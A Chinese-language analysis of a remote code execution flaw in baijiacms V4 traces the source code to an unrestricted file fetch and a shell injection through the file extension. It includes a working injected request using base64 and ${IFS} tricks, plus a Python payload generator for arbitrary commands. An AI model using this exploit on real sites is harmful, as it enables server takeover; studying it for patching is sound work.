1.环境搭建
发现CNVD有该CMS的漏洞并且还是⾼危的,但是不知道漏洞细节,于是想尝试⾃⼰分析⼀下
下载地址:https://github.com/baijiacms/baijiacmsV4
CNVD:https://www.cnvd.org.cn/flaw/show/CNVD-2023-00008
https://github.com/This-is-Y/baijiacms-RCE
baijiacms版本存在安全漏洞,该漏洞源于includes/baijiacms/common.inc.php存在远程代码
执⾏(RCE)
1.环境搭建
http://localhost:8888/baijiacms/install.php
使⽤PHP5.6.40
安装成功直接默认会
http://localhost:8888/baijiacms/index.php?mod=mobile&name=public&act=public&do=index
2.漏洞扫描
使⽤seay先扫描⼀下,这样先查看出来可能有⽤的漏洞点,但是发现漏洞点过余的细,不熟悉
系统架构的情况下,想直接分析起来太难,⾸先分析路由吧还是
3.路由分析
查看 index.php 中的内容,根据我们最开始访问的URL
http://localhost:8888/baijiacms/index.php?mod=mobile&act=public&do=index&beid=1
<?php if(!file_exists(str_replace("\\",'/', dirname(__FILE__)).'/config/install.link')) { //判断./config/install.link⽂件是否存在不存在的话就跳转到安装⽬录 if((empty($_REQUEST['act'])||!empty($_REQUEST['act'])&&$_REQUEST['act']! ='public')) { header("location:install.php"); exit; } } if(defined('SYSTEM_ACT')&&SYSTEM_ACT=='mobile') //这⾥⾸先并不会定义SYSTEM_ACT,所以不会进⼊if { $mod='mobile'; }else { if(!empty($_REQUEST['c'])) { //并没有c参数,不会进⼊if $mod= (empty($_REQUEST['c'])||$_REQUEST['c']=='entry')?'mobile':$_REQUEST['c'] ; }else { //mod参数不为空,并且传⼊的就是mobile,$mod的内容就是mobile $mod=empty($_REQUEST['mod'])?'mobile':$_REQUEST['mod']; } } if($mod=='mobile') { //全局定义了SYSTEM_ACT变量 defined('SYSTEM_ACT') or define('SYSTEM_ACT', 'mobile'); }else { defined('SYSTEM_ACT') or define('SYSTEM_ACT', 'index'); } if(empty($_REQUEST['do'])) { $_GET['do']="shopindex"; } if(!empty($_REQUEST['act'])) { //act参数的内容是public $_GET['act']=$_REQUEST['act']; }else { $_GET['act']="shopwap"; } ob_start(); require 'includes/baijiacms.php';//包含⽂件 ob_end_flush(); exit;
可以看到引⼊了 baijiacms.php ⽂件,该⽂件定义了常⽤的全局变量以及对传⼊进来的参数
进⾏了预处理以及HTML实体化的操作
//code define('SYSTEM_IN', true); define('MAGIC_QUOTES_GPC', (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) || @ini_get('magic_quotes_sybase')); //获取到MAGIC_QUOTES_GPC的状态 //code if(!session_id()) { session_start(); header("Cache-control:private"); } if(DEVELOPMENT) { ini_set('display_errors','1'); error_reporting(E_ALL ^ E_NOTICE); //error_reporting(E_ERROR | E_PARSE); } else { error_reporting(0); } ob_start(); if(MAGIC_QUOTES_GPC) { //如果开启了MAGIC_QUOTES_GPC,就进⼊该⽅法 function stripslashes_deep($value){ //这⾥去除了addslashes() 函数添加的反斜杠 $value=is_array($value)? array_map('stripslashes_deep',$value):stripslashes($value); return $value; } //将所有传⼊的参数都这么执⾏了⼀遍 $_POST=array_map('stripslashes_deep',$_POST); $_GET=array_map('stripslashes_deep',$_GET); $_COOKIE=array_map('stripslashes_deep',$_COOKIE); $_REQUEST=array_map('stripslashes_deep',$_REQUEST); } $_GP = $_CMS = array(); $_GP = array_merge($_GET, $_POST, $_GP); function irequestsplite($var) { if (is_array($var)) { foreach ($var as $key => $value) { $var[htmlspecialchars($key)] = irequestsplite($value); } } else { $var = str_replace('&', '&', htmlspecialchars($var, ENT_QUOTES)); } return $var; } //进⾏HTML实体化处理 $_GP = irequestsplite($_GP); if(empty($_GP['m'])) { $modulename = $_GP['act']; }else { $modulename = $_GP['m']; } if(empty($_GP['do'])||empty($modulename)) { exit("do or act is null"); } $pdo = $_CMS['pdo'] = null; $_CMS['module']=$modulename; $_CMS['beid']=$_GP['beid']; if(!empty($_GP['isaddons'])) { $_CMS['isaddons']=true; } $bjconfigfile = WEB_ROOT."/config/config.php"; if(is_file($bjconfigfile)) { require WEB_ROOT.'/includes/baijiacms/mysql.inc.php'; } require WEB_ROOT.'/includes/baijiacms/common.inc.php'; require WEB_ROOT.'/includes/baijiacms/setting.inc.php'; require WEB_ROOT.'/includes/baijiacms/init.inc.php'; $_CMS[WEB_SESSION_ACCOUNT]=$_SESSION[WEB_SESSION_ACCOUNT]; require WEB_ROOT.'/includes/baijiacms/extends.inc.php'; require WEB_ROOT.'/includes/baijiacms/user.inc.php'; require WEB_ROOT.'/includes/baijiacms/auth.inc.php'; require WEB_ROOT.'/includes/baijiacms/weixin.inc.php'; require WEB_ROOT.'/includes/baijiacms/runner.inc.php';
根据cnvd的提示,找到⽂件 common.inc.php 中,迅速定位到 file_save() 函数中,654⾏
function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_rela tive_path,$allownet=true) { $settings=globaSystemSetting(); if(!file_move($file_tmp_name, $file_full_path)) { return error(-1, '保存上传⽂件失败'); } if(!empty($settings['image_compress_openscale'])) { $scal=$settings['image_compress_scale']; $quality_command=''; if(intval($scal)>0) { $quality_command=' -quality '.intval($scal); } system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path); } //code }
$file_full_path 参数是调⽤的时候传⼊的,查询⼀下是谁调⽤过本函数,找到⼀
处 system/weixin/class/web/setting.php ⽂件中的32⾏
研究⼀下什么时候才会调⽤到这⾥
http://localhost:8888/baijiacms/index.php?mod=wexin&act=web&do=index&beid=1
暂时停下来,重新看⼀下调⽤情况
同⽂件的 file_upload() 函数也会调⽤ file_save() 函数,查看何处调⽤ file_upload()
函数,找到 system/public/class/web/file.php ⽂件的28⾏调⽤
现在想访问到该函数
http://localhost:8888/baijiacms/index.php?mod=system&act=web&do=upload
这⾥⽣成的是随机的⽂件名,并不存在上传漏洞,并且会执⾏到 file_upload() ⽅法
function file_upload($file, $type = 'image') { if(empty($file)) { return error(-1, '没有上传内容'); } $limit=5000; $extention = pathinfo($file['name'], PATHINFO_EXTENSION); $extention=strtolower($extention); if(empty($type)||$type=='image') { //很明显这⾥做了⽩名单限制 $extentions=array('gif', 'jpg', 'jpeg', 'png'); } if($type=='music') { $extentions=array('mp3','wma','wav','amr','mp4'); } if($type=='other') { $extentions=array('gif', 'jpg', 'jpeg', 'png','mp3','wma','wav','amr','mp4','doc'); } if(!in_array(strtolower($extention), $extentions)) { return error(-1, '不允许上传此类⽂件'); } if($limit * 1024 < filesize($file['tmp_name'])) { return error(-1, "上传的⽂件超过⼤⼩限制,请上传⼩于 ".$limit."k 的⽂件"); } $path = '/attachment/'; $extpath="{$extention}/" . date('Y/m/'); mkdirs(WEB_ROOT . $path . $extpath); do { $filename = random(15) . ".{$extention}"; } while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename)); $file_full_path = WEB_ROOT . $path . $extpath. $filename; $file_relative_path=$extpath. $filename; return file_save($file['tmp_name'],$filename,$extention,$file_full_path,$file_r elative_path); }
这⾥不允许上传php⽂件
4.RCE分析
4.1 上传漏洞
于是找到 common.inc.php ⽂件中的613⾏的 fetch_net_file_upload 函数,同样也会调
⽤ file_save ⽅法
在system/public/class/web/file.php文件中第20行存在$file=fetch_net_file_upload($url);方法也会调用到file_save()方法,通过访问http://127.0.0.1:8888/baijiacms/index.php?mod=site&act=public&do=file&op=fetch&url=http://xxx接口就可以成功调用到该方法,在op选择fetch时可以调用到该方法
在第20行下断点,并发发送
http://127.0.0.1:8888/baijiacms/index.php?mod=site&act=public&do=file&op=fetch&url=http://127.0.0.1:9999/whoami&status=1&beid=1
可以成功断到该处方法
进入到fetch_net_file_upload方法的时候只有一个参数就是$url,方法里的大部分代码是没有用处的,但是到了630行是一个关键代码
if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
$result['message'] = '提取失败.';
return $result;
}
$file_full_path = WEB_ROOT .$path . $extpath. $filename;
return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
这里执行了一个file_put_contents()方法,第一个参数是要写入的文件,第二个参数写入的内容,可以看到第二个参数中又执行了file_get_contents($url)就是从我们传入的url中获取到内容,现在我传入的是http://127.0.0.1:9999/whoami,但是我本地并没有该文件,所以一定访问不到就进入了if判断,之后直接就return错误了,不会继续执行到file_save函数。图中显示错误
于是就可以开始一个服务并且让其中存在一个whoami文件,并且启动本机的9999端口,让程序可以访问到就可以不进入该if判断了
现在再试试,可以看到现在的信息不一样了
实际查看本地上传的文件确实也上传上去了
查看断点的时候确实也没有进入第一个if判断
于是现在就要跟进到file_save()方法中,只有$file_full_path参数是可以控制的
而该处的file_full_path是上一个方法传入进来的,可以查看一下该参数的构造
$url = trim($url); $extention = pathinfo($url,PATHINFO_EXTENSION ); $path = '/attachment/'; $extpath="{$extention}/" . date('Y/m/'); mkdirs(WEB_ROOT . $path . $extpath); do { $filename = random(15) . ".{$extention}"; } while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename)); $file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename; $file_relative_path = $extpath. $filename;
首先获取到$extection变量是通过pathinfo()获取的,目前我们传入的文件是whoami文件,拓展名是空
然后执行到$filename = random(15).".{$extention}";就是随机生成一个文件名并追加上刚才的后缀,于是我们现在的文件名就是
于是这里其实上传一个php文件是不会限制后缀名的
上传成功
这里还有一个思考,该开发只对file_upload方法做了限制fetch_net_file_upload却并没有做任何限制,可见代码写的不严格。
4.2 命令执行
找到上传漏洞并非本意,本意是想继续通过闭合直接构造RCE的,于是继续分析代码。
$url = trim($url); $extention = pathinfo($url,PATHINFO_EXTENSION ); //这里该参数就是获取的.后边的所有内容最后拼接到file_full_path中 $path = '/attachment/'; $extpath="{$extention}/" . date('Y/m/'); mkdirs(WEB_ROOT . $path . $extpath); do { $filename = random(15) . ".{$extention}"; } while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename)); $file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename; $file_relative_path = $extpath. $filename; if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) { $result['message'] = '提取失败.'; return $result; } $file_full_path = WEB_ROOT .$path . $extpath. $filename;//这里拼接好了之后会直接传入进行命令执行 function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true){ //code system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path); }
所以如果$extention变量中就存在;的话就会将后边的system()执行的内容分成两个命令去执行,尝试构造文件名为whoami.;ping -c 4 wk8imc.dnslog.cn,由于文件名中不能存在空格需要进行base64编码以及使用${IFS}来代替空格
原payload:whoami.;echo ping -c 4 www.baidu.com
处理之后payload:whoami.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;
将该base64后的结果通过管道符输入linux的base64指令中,得到结果之后再通过管道符输入bash指令中去执行。
tips:${IFS}在bash中可以作为空格的替代品
于是我们本地存在了该文件
启动服务之后发送请求
GET /baijiacms/index.php?mod=site&act=public&do=file&op=fetch&url=http://127.0.0.1:9999/whoami.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;&status=1&beid=1 HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=eb6b5f409ab739f91dc88c3278fbe855
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache
确实执行了命令返回了输出结果
现在来进入代码调试一下,可以看到$extention变成了;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;,
果然截取了所有的.之后的内容作为后缀名。
继续跟进查看$file_full_path内容
/Applications/MAMP/htdocs/baijiacms/attachment/;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;/2023/02/wYR5UQOPAzjEUT6.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;
以上内容中存在一个;就可以将之后执行命令的代码,分成两个命令。
其要执行的命令是如下的内容
convert -quality 100 /Applications/MAMP/htdocs/baijiacms/attachment/;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;/2023/02/wYR5UQOPAzjEUT6.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash; /Applications/MAMP/htdocs/baijiacms/attachment/;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;/2023/02/wYR5UQOPAzjEUT6.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;
该函数遇到;的时候就会去重新执行我们的echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;命令,从而造成RCE。
使用Github中脚本:
import base64
webpath = "/yourPath"
cmd = input("cmd>>> ")
b64cmd = base64.b64encode(cmd.encode()).decode()
payload = f"echo {b64cmd}|base64 -d|bash"
print(payload)
payload = payload.replace(' ','${IFS}')
print(payload)
name = input("name>>>")
payload = f"{name}.;{payload};"
print(payload)
with open(file=webpath+payload,mode='w')as f:
f.write('1')
成功RCE